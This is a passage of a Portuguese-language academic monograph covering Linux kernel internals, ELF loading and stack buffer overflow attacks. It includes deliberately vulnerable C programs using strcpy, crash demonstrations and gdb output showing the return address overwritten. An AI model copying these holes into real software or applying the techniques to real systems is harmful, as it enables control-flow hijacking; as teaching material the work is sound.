emmodousúario,at́e queumainterrupç̃aodo timer ocorree o escalonadoŕe ativadoemmodo

kernel. Umatrocadeprocessóe realizadaeo Processo2 inicia suaexecuç̃aoemmodousúario

at́eumdispositivo dehardwareenviar umainterrupç̃ao.Comoconseq̈uência,o Processo2 troca

paramodokerneleserve ainterrupç̃ao(BOVET; CESATI, 2003).

Figura 12: Trocadecontexto

OskernelsUnix realizammuito maisdo queapenascontrolarchamadasdesistema.As rotinas

dekernelpodemserativadasdaseguintemaneira(BOVET; CESATI, 2003):

• um processorealizauma chamadadesistema;

• o processoque est́a em execuç̃ao na CPU envia um sinal de exceç̃ao, o qual é uma

condição incomum como uma instrução inválida. O kernel controla a exceç̃ao do

processoquecausou;
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• um dispositivo perif érico envia um sinal de interrupç ão para aCPU para notificar

um evento como requisiç̃ao deatenç̃ao, mudança de status, ou o término de uma

operaç̃ao deE/S.Cadasinal deinterrupç ãoécontroladopor um programado kernel

chamadointerrupt handler;

• uma kernel thread é executada,portanto, fazendoparte do modokernel.

Parapermitir o gerenciamentodeprocessospelokernel, cadaprocessóe representadopor

umdescritordeprocessoquepossuiinformaç̃oessobreo estadoatualdeumprocesso.Quando

o kernel interrompea execuç̃ao deum processo,elesalva o conteúdodediversosregistradores

nodescritordeprocesso.Osregistradoressão(BOVET; CESATI, 2003):

• osregistradoresPC, contador de programa,eSP, ponteiro do topo da pilha;

• osregistradoresde propósitogeral;

• osregistradoresdeponto-flutuante;

• osregistradoresdecontroledo processador;

• osregistradoresdegerenciamentodememória;

Quandoo kerneldecideresumira execuç̃aodo processo,eleutiliza oscamposcorretos do

descritordeprocessoparacarregar a CPUcomosvaloressalvos. Dessamaneira,o programa

podecontinuarsendoexecutadodemaneirasegura.Quandoumprocessonãoest́aemexecuç̃ao

naCPU,eleest́a aguardandopor algumevento.OskernelsUnix distinguemmuitosestadosde

espera,osquaissão implementadosgeralmentepor filas dedescritoresdeprocesso,comcada

fila correspondendoa um conjuntodeprocessosesperandopor um eventoespećıfico (BOVET;

CESATI, 2003).

Os kernelsUnix são reentrantes,issoquerdizer quediversosprocessospodemestarem

execuç̃aoemmodokernelaomesmotempo.Em computadoresuniprocessados,muitospodem

estarbloqueadosemumafila at́e quepossamretornara execuç̃ao.Cadaprocessoemexecuç̃ao

possuio seuespac¸o privadodeenderec¸os. Um processoemexecuç̃aoemmodousúario possui

áreasprivadasde pilha, código e dados. Quandoest́a rodandoem modo kernel, o processo

enderec¸a dadose ćodigo do kernel, e usaoutra pilha. Comoo kernel é reentrante,diversos

processosestar̃aoemexecuç̃aoemmodokernel, cadaum referenciando-sea suaprópriapilha.

Poŕem, existem processosque compartilhamsuasáreascom outrosprocessos,como forma

de reduzir o usode meḿoria. Issopodelevar a certasinconsist̂enciasde dados,e portanto,
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métodosdesincronizac¸ão foramintroduzidos.Entreasmaneirasdesincronizarest̃ao: utilizar

kernelsnão-preemptı́veis,desabilitarinterrupç̃oesenquantoestiver emmodokernel, utilização

deseḿaforoseutilização despinlocks(BOVET; CESATI, 2003).

O Unix possuisinais(signals) queforneceummecanismoparanotificarprocessosdeeven-

tos do sistema.Cadaevento possuio seupróprio númerode sinal, o qual é geralmenteref-

erenciadocomoumaconstantesimb́olica comoSIGTERM.Existemdois tipos de eventosdo

sistema(BOVET; CESATI, 2003):

• Notificaçõesasśıncronas: um usúario podeenviar um sinaldeinterrupç̃aoSIGINT para

umprocessoaopressionarCTRL-Cemumterminal;

• Err osśıncronosou exceç̃oes: o kernelpodeenviar o sinalSIGSEGVparaum processo

quandoeletentaracessarumaregião demeḿoria emumenderec¸o ilegal.

O gerenciamentodemeḿoria éconsideradoo trabalhomaisdifı́cil realizadoporumkernel

Unix. OssistemasUnix recentesfornecemumaabstraç̃aochamadameḿoriavirtual. A meḿoria

virtual agecomoumacamadalógicaentreasrequisiç̃oesdemeḿoria feitaspelaaplicaç̃aoe a

unidadede hardwarede gerenciamentode meḿoria (memorymanagementunit). A meḿoria

virtual possuimuitospropósitosevantagens(BOVET; CESATI, 2003):

• Diversosprocessospodemserexecutadosconcorrentemente;

• É posśıvel rodar aplicaçõesque requerem memórias bem maioresdo que asfisica-

mentedispońıveis;

• Processospodem executar um programa que possuium código parcialmente car-

regadona memória;

• Cadaprocessotemapermiss̃ao deacessarum subconjuntodamemória fı́sicadispońıvel;

• Processospodemcompartilhar uma única imagemdememória deum programaou

biblioteca;

• Programaspodemestar localizadosemqualquer lugar na memória fı́sica;

• Programadorespodemescrever códigosindependentede máquina, j á que não pre-

cisamsepreocuparcoma organizaç̃ao fı́sicada memória.

A principalcaracteŕısticademeḿoriavirtual é anoç̃ao deespac¸o deenderec¸amentovirtual.

O conjuntode refer̂enciasde meḿoria queum processopodeusaré diferentedosenderec¸os
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fı́sicosdemeḿoria. Quandoumprocessousaumenderec¸o virtual, o kernele aMMU11 trabal-

hamjuntosparaidentificara localizaç̃aofı́sicado itemdesejado.A meḿoriavirtual tamb́emse

preocupaemresolver problemasdefragmentac¸ão demeḿoria (BOVET; CESATI, 2003).

Os kernelsUnix possuemum subsistemaque tentasatisfazeras requisiç̃oesde áreasde

meḿoria de todasaspartesdo sistema,chamadode Kernel MemoryAllocator (KMA). Um

bomKMA deve ter as seguintescaracteŕısticas(BOVET; CESATI, 2003):

• deveser r ápido, j á que é chamadopor todosossubsistemasdo kernel;

• deveminimizar a perda dememória;

• deve tentar reduzir o problemade fragmentação dememória;

• devesercapazdecooperarcomosoutrossubsistemasdegerenciamentodememória.

ExistemdiversosKMAs, quesãobaseadosemalgoritmosdiferentes,entreelesest̃ao(BOVET;

CESATI, 2003):

• Resourcemapallocator;

• Buddysystem;

• Mach’s Zoneallocator;

• Dynis allocator;

• Solaris’s Slaballocator.

O KMA doLinux utiliza umSlabAllocator emcimadeumbuddysystem.

Num Unix, o espac¸o de enderec¸amentode um processocont́em todosos enderec¸os de

meḿoriavirtual queo processóepermitidoreferenciar. O kernelgeralmentearmazenao espac¸o

de enderec¸amentovirtual de um processocomoumalista de descritoresde áreade meḿoria.

Porexemplo,quandoum processoinicia a execuç̃ao dealgumprogramavia umachamadade

sistemadafaḿılia ”exec()”, o kernelassociaaoprocessoum espac¸o deenderec¸amentovirtual

quepossuiáreaspara(BOVET; CESATI, 2003):

• o códigoexecut́avel do programa;

• osdadosinicializadosdo programa;

11MemoryManagementUnit
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• osdadosnão-inicializadosdo programa;

• a pilha inicial do programa;

• o códigoexecut́avel edadosdebibliotecasnecesśarias;

• a heap(a memória requisitadadinamicamentepeloprograma).

Todosossistemasoperacionaisunixrecentesadotamumaestrat́egiadealocaç̃ao demeḿoria

chamadode paginac¸ão por demanda.Com a paginac¸ão por demanda,um processopodeini-

ciar um programacomnenhumadesuaspáginasnameḿoria. Quandoeleacessaumapágina

quenão est́a presente,a MMU geraumaexceç̃ao,o tratadorde exceç̃ao encontraa região de

meḿoria afetada,alocauma páginalivre e a inicializa com os dadosapropriados. O Unix

tamb́em suportao usode áreasde troca(swapareas) paraextendero tamanhodo espac¸o de

enderec¸amentovirtual utilizadopelosprocessos(BOVET; CESATI, 2003).

2.6.8 LINUX

O Linux éummembrodavastafaḿılia desistemasoperacionaisUnix-like. Foi inicialmente

desenvolvido porLinusTorvaldsem1991comosendoumsistemaparacomputadoresbaseados

no Intel386. Nãoéumsistemaoperacionalcomercial,possuindoseucódigofonteliberadosob

a licença GNU12 Public License. Tecnicamente,o Linux é um kernelUnix, e nãoum sistema

operacionalUnix, pois ele não inclui as ferramentasbásicasinclúıdasem um Unix-like. O

Linux é compat́ıvel como padr̃aoIEEE POSIX,incluindotodasascaracteŕısticasdeum Unix,

comogerenciamentode meḿoria, suportea sistemade arquivos, processose threads, sinais,

comunicac¸ãointerprocesso,entreoutrasfuncionalidades(BOVET; CESATI, 2003).

OLinuxpossuialgumasfuncionalidades comrelaç̃aoaoskernelsUnix tradicionais(BOVET;

CESATI, 2003):

• kernel monoĺıtico: é um programaextensoe complexo, compostode diversoscompo-

nentesdiferentes;

• kernel compilado e estaticamentelinkado: possuisuporteà remoç̃ao e inserç̃ao de

códigosdo kernel (tipicamentedevicedrivers), quetamb́emsãochamadosdemódulos.

Possuitamb́emumacaracteŕısticadecarregar módulospor demanda;

12www.gnu.org
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• kernel threads: umakernel thread é um contexto deexecuç̃aoquepodeserescalonado

independentemente,podendoestarassociadoaumprogramadeusúario,ouexecutarape-

nasalgumasfunçõesdosistema.A trocadecontexto entrekernelthreadssãobemmenos

custosasdo quetrocasentreprocessosordinários,porqueelasoperamemum espac¸o de

enderec¸amentocomum.O Linux utiliza kernel threadsapenasparaexecutarfunçõesdo

kernel, e não executarprogramasde usúario. Paraexecutarprogramasde usúario com

várias threads, o Linux não utiliza kernel threadsparaessepropósito, masatravés da

chamadadesistema”clone()”, preservandoascaracteŕısticascomunsdeumathread;

• kernelnão-preempt́ıvel: o kernelnãopermitequethreadssejaminterrompidasenquanto

est̃aoemmodoprivilegiado13;

• computadoresmultipr ocessados: o kerneldoLinuxsuportaSMP14, permitindoqueem

sistemascomváriasCPUs,cadaCPUexecutequalquertarefa, semdiscriminaç̃aoentre

elas;

• sistemasdearquivos: o Linuxsuportaváriossistemasdearquivos,graçasàsuatecnolo-

giaorientadaaobjetosdeVFS15, permitindoqueinclus̃oesdenovossistemasdearquivos

nãosuportadossetorneumatarefa fácil. Entreossuportadosest̃ao:ext2, ext3, ReiserFS,

IFSeXFS.

Por nãosofrerrestriç̃oese condiç̃oesimpostaspelomercado, o Linux possuias seguintes

vantagensentreosseusrivais(BOVET; CESATI, 2003):

• Linux é gratuito ;

• Linux possuicomponentestotalmentecustomiźaveis: graçasà GNUPublicLicense, é

posśıvel obtero códigofonteemodificá-lo,senecesśario;

• Linux roda em plataformas diferentese até mesmoem plataformas obsoletas,como

o Intel386;

• Linux possuium padrão dequalidadeno códigofonte: fazendocomqueseussistemas

setornemest́aveis;

• Linux é um kernel pequeno: é posśıvel colocaro kernele programasfundamentaisem

umúnicodiscode1.44MB;

13Essarestriç̃aofoi removidanokernel2.5esetornaŕapadr̃ao
14Symmetricmultiprocessing
15Virtual file system
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• Linux é compat́ıvel commuitos sistemasoperacionaisconhecidos: elepermiteacesso

a sistemasdearquivosdo Windows,por exemplo,permitequesecomuniquecomvários

tiposderedes,entreelesEtherneteTokenRing, e,utilizandodeterminadasbibliotecas,́e

posśıvel executaraplicaç̃oesdeoutrossistemasoperacionais,como Windows, MS-DOS

eXENIX;

• Linux é bem suportado: por possuirdesenvolvedoresespalhadospelomundotodo,de-

vicedriversparaLinuxsãodisponibilizadossemanasdepoisquenovosprodutosdehard-

wareforamintroduzidosnomercado.

2.6.9 ESTADO INICIAL DE UM PROCESSOEM MEMÓRIA

Osbináriosutilizados(por padr̃ao)no Linux sãodo formatoconhecidocomoELF16. Ele

foi desenvolvido peloUnix SystemLaboratoriese podeserconsideradocomoo formatomais

utilizadopelossistemasoperacionaisUnix-like. O ELF defineo formatodosarquivos-objeto17,

sendodetrêstiposprincipais(STANDARD, 1995):

• arquivo-objeto reloćavel (.o): possuidadose ćodigosquepodemserusadosparaserem

ligadosa outrosarquivos-objetoparacriar um execut́avel ou um arquivo-objetocompar-

tilhado.

• arquivo execut́avel (o binário): armazenaumprogramaapropriadoparaexecuç̃ao.

• arquivo-objeto compartilhado (.so): armazenacódigose dadosparaseremligadosem

dois contextos. Primeiro,o editor de ligaç̃ao podeutilizá-lo com outro arquivo-objeto

reloćavel ou arquivo-objetocompartilhadoparacriar um novo arquivo-objeto. Depois,

o ligadordinâmicopodeutilizá-lo com um arquivo execut́avel e outrosarquivos-objeto

compartilhadoparacriar umaimagemdeprocesso.

Osarquivos-objetoparticipamnaligaç̃ao deprogramas(ouseja,naconstruc¸ão deumprograma)

enaexecuç̃ao deumprograma.

Quandoum programaé executadono Linux, a execuç̃ao em baixo-ńıvel, é feita através

da chamadade sistemasysexecve(). Comoa maioria dasexecuç̃oesser̃ao feitasatravésdo

interpretadordecomandos,aTabela4 mostraospassosenvolvidosnacargadeumbinárioELF

emmeḿoria (BOLDYSHEV, 2000).

16ExecutableandLinking Format
17arquivos-objetosão representac¸õesbináriasde programasaptosa seremexecutadosdiretamenteno proces-

sador
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Tabela4: Passosenvolvidosnacargadeumbinário ELF

Função Ar quivo do kernel Comentários
shell nãohá o usúario executao programa
execve() nãohá ashellchamaa função dalibc
sysexecve() arch/i386/kernel/process.c cheganapartedo kernel
do execve() fs/exec.c abreo arquivo e fazalgumaspreparac¸ões
search binary handler() fs/exec.c determinao tipo doexecut́avel
load elf binary() fs/binfmt elf.c le o ELF ecria o segmentodeusúario
start thread() include/asm-i386/processor.h passao controleparao códigodoprograma

Umavisão decomoum binário ELF é organizadoemmeḿoria no Linux rodandosobrea

arquiteturaIntel IA-32 podeservistonaFigura13 (BOLDYSHEV, 2000):

Figura 13: Layoutemmeḿoria deumbinário ELF

Al émdisso,a pilha tamb́empossuiumasubdivisãopré-determinada,comopodeservista

naFigura14:
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Figura 14: Divisão dapilha

No Linux, o arquivo quearmazenaasfunçõesresponśaveis por carregar um binário ELF

paraameḿoria selocalizaem: /usr/src/linux/fs/binfmt elf.c
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3 TÉCNICAS DE EXPLORAÇ ÃO DE FALHAS DE ESTOURO DE BUFFER NA
PILHA

3.1 INTRODUÇÃO

Nestecaṕıtulo veremoso queéumafalhadeestourodebuffer napilhaequãoprejudicialela

podeserseexploradapor umusúario mal-intencionado.Existemváriostextossobreo assunto,

entreeles”a refer̂encia”escritapor (ONE, 1996)queinspirouaelaborac¸ãodestamonografia.

3.2 PASSAGEM DE PARÂMETROSEM C

A passagemdepar̂ametrosnalinguagemC éfeitaatravésdoempilhamentodasvariáveisna

pilha,dadireitaparaaesquerdanaordememqueaparecemnachamadadafunção.Al émdisso,

cadavez queumafunção é chamada,o pr ólogo da função é executadoantesdo seucódigo

interno. Depoisquea função termina,masantesdo controleserretomadopelo chamador, o

eṕılogo é executado.O prólogodeumafunçãosegueabaixo(sintaxeassemblyIntel):

PUSH EBP
MOVEBP, ESP

O prólogo é responśavel por salvar o valor atualdo EBP (ponteiroparaa baseda pilha

atual)napilhaeent̃aofazercomqueo ESP(ponteiroparao topodapilha)setorneo novoEBP.

Podeserquehajaumasubtrac¸ãoemESPparareservarespac¸o paraasvariáveislocais,masisso

dependeda função. Com isso,o EBP setornarefer̂enciaparaa utilização dospar̂ametrosda

funçãoe tamb́emdasvariáveislocais(sehouver). O eṕılogodeumafunçãosegueabaixo:

MOVESP, EBP
POP EBP
RET

O eṕılogo faz com queo EBP setorneo novoESP, removendoo espac¸o utilizado pelas

variáveis locais da função, restaurao EBP que foi salvo na pilha pelo prólogo (restaurando

destaformao quadrodepilha anterior),e chamaa instruç̃aoRET queseencarrega deretiraro
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enderec¸o deretornoquefoi armazenadonapilha,armazenando-onoregistradorEIP, permitindo

quea funçãochamadoracontinuesuaexecuç̃ao.

O exemploemC abaixo,juntamentecomo seucódigoemassemblypermitequeo entendi-

mentodo layoutdapilhafiquemaissimples,ilustradonaFigura15:

// teste.c: programa simples para demonstrar o funcionamento da pilha nas
// chamadas de procedimentos
// Carlos Eduardo Pedroza Santiviago <ceps@redes.unioeste-foz.br>
#include <stdio.h>

void teste(int a, int b, int c)
{

int var;
char buffer[10];

}
int main(void)
{

teste(1,2,3);
return(0);

}

Agoraseucódigoemassembly, quandorealizaachamadàa função”teste”:

; par âmetros empilhados da direita para a esquerda
push 3
push 2
push 1
call teste ; quando um call é feito, automaticamente o enderec¸o da

; pr óxima instruc ¸ ão é empilhado (return)
; agora, dentro de teste(), é feito o pr ólogo
push ebp
mov ebp, esp
sub esp, 16 ; 16 bytes reservados para vari áveis locais 10 buffer +

; 4 do inteiro int = 14, porem a pilha so trabalha com
; múltiplos de 4

; ao retornar para funç ão main()
mov esp, ebp ; restaura o quadro de pilha anterior
pop ebp
ret ; aqui em ret, é feito um pop eip, que restaura o end. de retorno
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Figura 15: Registrodeativaç̃ao(stackframe)doprograma”teste”

O formatodapilhaacimatamb́eméconhecidocomoRegistro deAti vação.

3.3 ATAQUESCONTRAO REGISTRO DE ATIVAÇÃO

A utilização do Registro de Ati vação facilita a implementac¸ão e utilização defunções

(procedimentos),e são comumentearmazenadosna pilha. Poŕem, existem casosem que a

implementac¸ão deumalinguagemespećıficaexija quealgunscamposdoRegistro deAti vação

sejamarmazenadosnosregistradoresdoprocessador(AHO; SETHI;ULLMAN , 1988).

Basicamente,umRegistro deAti vação tı́picodeumprogramacodificadonalinguagemC

rodandonosistemaoperacionalLinux, aochamarumafunçãoé o seguinte:

Figura 16: Registrodeativaç̃ao(stackframe)tı́piconumachamadadefunção

OscamposdaFiguraacimapodemserdescritosdaseguintemaneira:

• dadosanteriores: representaos dadosque já estavam armazenadosna pilha antesda

funçãoserchamada.

• parâmetros: é o espac¸o ondeospar̂ametrosparaa funçãochamadasão enviados.Todos

os dadosenviados(colocados na pilha) devem sermúltiplos do tamanhoda palavra do

processador, quenonossocasosão4 bytes.
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• endereço de retorno: armazenao enderec¸o quedeve ser retomadoaṕos o términoda

funçãoqueseŕa executada.

• baseda pilha anterior (frame pointer salvo): quandoumafunçãoé chamada,eladeve

possuirum quadrodepilha próprio, queé feito pelopr ólogo. Poŕem,quandoa função

termina,eladeve restauraro quadrodepilha anterior, e devido a isso,essevalor tamb́em

éarmazenadonapilha.

• vari áveis locais: espac¸o reservadoparaa utilização devariáveis locaisdentro dafunção

chamada.

OscampossombreadosdaFigura16sãoosmaisimportantesparao nossoestudo.Elessão

osalvosprincipaisparaseconseguir alteraro fluxo deexecuç̃ao deumaaplicaç̃aovulneŕavel a

umafalhadebuffer overflow, eemconseq̈uênciadissoexecutarumcódigoarbitrário.

Parafacilitar o entendimentodeum ataquedebuffer overflowcontradadosdo Registrode

ativaç̃ao,osdescreveremosaoresponderduasperguntas:

• Comoo controle é capturado?

• Para ondeo controle éenviado?

Nassubsec¸õesa seguir, 3 tipos de ataquescontradadosarmazenadosna pilha ser̃ao de-

scritos:

• estouro na pilha (stack smash): acontecequandoum buffer é estouradodetal maneira

quecorrompapraticamentetodososdadosdeumRegistrodeativaç̃ao.

• estouro de erro-por-um na pilha (stack off-by-one): quandoapenasum byte além de

umbuffer é estourado,corrompendoo último bytearmazenadodabasedapilhaanterior.

• alteração de vari áveis locais: dependendodasituaç̃ao,podenãoserposśıvel atingir os

alvosprincipaisdo RegistrodeAtivaç̃ao,porém,sehouver a possibilidade decorromper

outrosdados,aindahá apossibilidadedeexecuç̃ao decódigoarbitrário. Taisdadospode-

riam ser, por exemplo,ponteirosparafunção.

3.3.1 ESTOURO NA PILHA (STACK SMASH)

Comoo controle é capturado?
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Ao seconseguir realizarum ataque deestouronapilha, tem-seo objetivo decorrompero

RegistrodeAtivaç̃ao detal maneiraquesejaposśıvel alterarosdadosarmazenadosno campo

endereço deretorno, daFigura16.

Para ondeo controle éenviado?

Com o endereço de retorno alteradoé posśıvel enviar o controledo programaparauma

áreademeḿoriaondeumcódigoarbitrárioest́aarmazenado,ouseja,o atacantepassaater total

controlesobreo programaatacado.

3.3.2 ESTOURO DE ERRO-POR-UMNA PILHA

Comoo controle é capturado?

Existemcasosemqueapenasumbytealémdeumbuffer armazenadonapilhaésobrescrito.

De acordocomo layoutdo registro deativaç̃ao naFigura16, é posśıvel atingir o último byte

docampochamadobaseda pilha anterior . Estetipo defalhaécomumquandoo programador

cometeeqúıvocosaocalcularo alcancedeum loop, por exemplo.

Para ondeo controle éenviado?

Comoo enderec¸o dabaseda pilha anterior foi modificado,quandoa função retornar, e o

eṕılogo retirar da pilha o enderec¸o salvo, dadosinconsistentespoder̃ao fazerparteda função

chamadora,já queo enderec¸o basedasuapilhaatualfoi alterado.

3.3.3 ALTERAÇÃO DE VARIÁVEIS LOCAIS

Comoo controle é capturado?

Nestecasocomo não é posśıvel corromperos alvos no registro de ativaç̃ao, objetiva-se

alteraro contéudodeoutrostiposdevariáveis,comopor exemplo,ponteirosparafunção.Pon-

teirosparafunção nadamaissãodo quevariáveisquearmazenamum enderec¸o decódigoque

seencontranosegmentodemeḿoria conhecidocomo.text, ilustradonaFigura13.

Para ondeo controle éenviado?

Ao sesobrescrever umavariável do tipo ponteiroparafunção, é posśıvel fazercom que

quandoa funçãoapontadapeloponteirosejaexecutada, naverdadevenhaa executaro código

arbitrário queo atacanteenviou parao programaatacado.
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3.4 EXEMPLOSDE APLICAÇÕESVULNERÁVEIS

Na seç̃ao anteriorforam explicadosos tipos de ataquesexistentescontraos registrosde

ativaç̃ao deumaaplicaç̃aovulneŕavel. Poŕem, é necesśario saberquaisosmotivosquefazem

comqueumbuffer sejaestourado.

Na linguagemC stringssão manipuladasatravésde um ponteiroparao enderec¸o do seu

primeirobyte. Pordefiniç̃ao dalinguagem,quandoseprocessaumastring esseprocessamento

não paraat́e quesejaencontradoum caractereespecialconhecidocomoNULL quedefineo

seutérmino. Sema utilizaçãodessecaractereou outro tipo de identificadornãoseriaposśıvel

determinaraquantidadedemeḿoria quefoi alocadaparaessastring.

Devido a isso,sefor copiadoparaessastringdadosmaioresdoqueo seutamanhoalocado,

um estourodastring (ou buffer) ocorree dadosadjacentesa essastring sãosobrescritos.Por

exemplo,supondoqueexistamtrêsstrings, uma como contéudo”ola”, outracomo contéudo

”legal”, e outra com o contéudo ”paranoia”, elasficariam assimem meḿoria (”0” indica o

caractereNULL):

Figura 17: Strings”A”, ”B” e ”C”.

A Figura acimasup̃oe quea string ”B”, est́a armazenadalogo aṕos a string ”A”, e sea

string ”C” for copiadaemcimadastring ”A”, semutilizar nenhumaverificaç̃ao delimite, o que

acontecepodeservistonafiguraabaixo:

Figura 18: String”A”, sobrescreveo contéudodastring ”B”.

Comopodeservisto,o queocorreufoi umoverflowdastring ”A” nastring ”B”.
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Tabela5: PrincipaisfunçõesinsegurasdabibliotecaC

Função Risco Moti vo
gets() Alto O buffer dedestinopodeserestourado
strcpy() Alto O buffer dedestinopodeserestourado
strcat() Alto O buffer dedestinopodeserestourado
sprintf() Alto O buffer dedestinopodeserestourado
scanf() Alto O buffer dedestinopodeserestourado
strncpy() Médio Verificarseo tamanhododestinoé suficienteparaaentrada”n”
strncat() Médio Verificarseo tamanhododestinoé suficienteparaaentrada”n”
getc Médio Ao utilizar num loopo buffer destinopodeserestourado
fgets() Baixo Verificarseo tamanhododestinoé suficienteparaaentrada”n”
snprintf() Baixo Verificarseo tamanhododestinoé suficienteparaaentrada”n”

Al ém disso, a linguagemC possuirotinas de tratamentode strings que são inseguras,

disponibilizadascom a suabibliotecapadr̃ao. Limitesde arrays, e de refer̂enciasa ponteiros

nãosãochecadosautomaticamente,ficandoacargo doprogramadorrealizaressaverificaç̃ao.

A Tabela5 mostraasprincipaisfunçõesinsegurasjuntamentecom seusriscose porque

sãoperigosas(GILLETTE, 2002).ApesardaTabelapossuirpartedasfunçõesinseguras,o que

precisaficar bemclaro é quesemprequehouver entradadedadosdo usúario deve-sepossuir

umaverificaç̃aorigorosa,poisosusúariosmal-intencionadosprocuramfalhasemocasĩoesque

osprogramadoresnãotomaramosdevidoscuidados.

3.4.1 APLICAÇÃO VULNERÁVEL A STACK SMASH

A aplicaç̃aoa seguir chamadadevuln1.cutiliza umadasfunções”inseguras”dabiblioteca

padr̃aoC. Supondoqueo programadornão tomouosdevidoscuidadosparavalidar a entrada

dedados,tornouaaplicaç̃aovulneŕavel abuffer overflow.

/*
* vuln1.c: Aplicac ¸ ão simples vulner ável a buffer overflow
* Carlos Eduardo Pedroza Santiviago <ceps@redes.unioeste-foz.br>
* jan/2004.
* para compilar: gcc -o vuln1 vuln1.c
*/

#include <stdio.h>
#include <string.h>

void cadastra(char *nome)
{

char usuario[64];
strcpy(usuario, nome); // !!!
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// realiza algum tratamento com usuario[]...
printf("Usuario %s cadastrado!\n", usuario);

}
int main(int argc, char *argv[])
{

cadastra(argv[1]);
return(0);

}

O problemano códigoanterioré queeleutiliza a funçãostrcpyquenãopermitequeseja

informadoa quantidadede bytesque se desejacopiar da string origem (no caso,a variável

nome)paraastringdestino(nocaso,avariável usuario).Umaexecuç̃ao”normal” doprograma

vuln1, podeservistoabaixo:

$ ./vuln1 teste
Usuario teste cadastrado!

O layout em meḿoria da pilha do programaacima,antesde chamara função printf, é o

seguinte:

Figura 19: Layoutemmeḿoria do registrodeativaç̃ao(stack frame) dafunçãocadastra()

Poŕem,umusúariomal-intencionadopoderiatera idéiade aoinvésdefornecero seunome

corretoparaa aplicaç̃ao, fornecerumaquantidadeenormede caracteres(no nossoexemplo,

umaquantidademaiorque64bytes) o queacabariaresultandonoestourodastring ”usuario” e
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emconseq̈uênciadisso,sobrescrever osdadosarmazenadosno Registro deAti vação. A sáıda

abaixorepresentatal aç̃ao:

$ ./vuln1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAA
Usuario AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAcadastrado!
Segmentation fault (core dumped)

Comopodemosperceber, aṕosa funçãoprintf ter sidochamadarecebemosumasáıdana

telacomo contéudo”Segmentationfault (core dumped)”. Estamensagemsereferea um erro

de acessoa umaregião demeḿoria inválida. Paraentenderporquehouve um acessoa uma

região demeḿoria inválidaénecesśario visualizaro layoutdapilhadepoisde chamara função

strcpy:

Figura 20: Layoutemmeḿoria do registrodeativaç̃ao(stack frame) corrompidodafunção

cadastra()

A Figuraacimanospermiteconcluir queao copiaro contéudo da variável ”nome” para

a variável ”usuario”, sobrescreveu-seboapartedo Registro de Ati vação, inclusive a região

chamadaendereço deretorno (Seç̃ao3.3).
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Semprequeumacessoaumaregião demeḿoriainválidaéfeito,o kerneldetectaeenvia um

sinaldetérminoparao processo(SIGSEGV), e juntamentecomo seutérmino,é despejadoem

um arquivo chamadocore o contéudodemeḿoria no pontoemqueo programafoi terminado

(por issoamensagem” (coredumped)”).

Graçasa isso,podemosanalisaro quehouve durantea execuç̃ao,utilizandoo debugador

conhecidocomogdb:

$ gdb -q vuln1 core
Core was generated by ‘./vuln1 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA’.
#0 0x41414141 in ?? ()
(gdb) i r
eax 0xf3 243
ecx 0x401547a0 1075136416
edx 0xf3 243
ebx 0x401569a8 1075145128
esp 0xbffff150 0xbffff150
ebp 0x41414141 0x41414141
esi 0x40014120 1073824032
edi 0xbffff1b4 -1073745484
eip 0x41414141 0x41414141
eflags 0x10286 66182
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x0 0

O comando”i r” numaseç̃aogdbnosinformao contéudodosregistradores,e juntamente

como arquivo core temoso estadodosregistradoresno momentoemqueo programafoi ter-

minado.

Analisandoa sáıda do debugador pode-seperceberque dois registradoresde sumaim-

port̂anciaparaa execuç̃ao deumprogramaforamalterados:ebpeeip. Ambospossuemo valor

0x41414141, queemhexadecimalsignificao valor natabelaASCII do caractere”A”. Sabendo

disso,podemosconcluirque,aoestourarastring ”usuario”doprogramavuln1, podemosalterar

o contéudodo endereço deretorno salvo noRegistro deAti vação e emconseq̈uênciadisso,

aoserexecutadoo eṕılogo controlamoso valor queseŕa colocadono registradoreip, ou seja,

tem-setotal controlesobreo programaatacado.
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3.4.2 APLICAÇÃO VULNERÁVEL A OFF-BY-ONE

Nestetipo de vulnerabilidade,apenasum byte além de um buffer é estourado, sobre-

screvendodestaformao bytemenossignificativo docampobaseda pilha anterior doregistro

deativaç̃ao(Seç̃ao3.3). O programavulneŕavel é o seguinte:

/*
* vuln2.c: Aplicac ¸ ão simples vulner ável a off-by-one
* Carlos Eduardo Pedroza Santiviago <ceps@redes.unioeste-foz.br>
* compilar com: gcc -o vuln2 vuln2.c
* jan/2004.
*/

#include <stdio.h>
#include <string.h>

void cadastra(char *nome)
{

char usuario[64];

strcpy(usuario, nome);
// realiza algum tratamento com usuario[]...
printf("Usuario %s cadastrado!\n", usuario);

}
int main(int argc, char *argv[])
{

if(strlen(argv[1]) > 64) {
printf("Nome muito grande.\n");
exit(1);

}
cadastra(argv[1]);
return(0);

}

No códigovuln2.c acima,o programadorteveo cuidadodeverificaraentradaparaquenão

ultrapassasseo tamanhototal do buffer. Poŕem, ele teve ainfelicidadede esquecerquetoda

string é terminadacomo caractereespecialNULL, ouseja,existemapenas63bytesdispońıveis

paraarmazenamentonobuffer. Algumasexecuç̃oesdoprogramavuln2podeservistoabaixo:

$ ./vuln2 teste
Usuario teste cadastrado!
$ ./vuln2 ‘perl -e ’printf "A"x63’‘
Usuario AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AA cadastrado!
$ ./vuln2 ‘perl -e ’printf "A"x100’‘
Nome muito grande.
$ ./vuln2 ‘perl -e ’printf "A"x64’‘
Usuario AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
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AAA cadastrado!
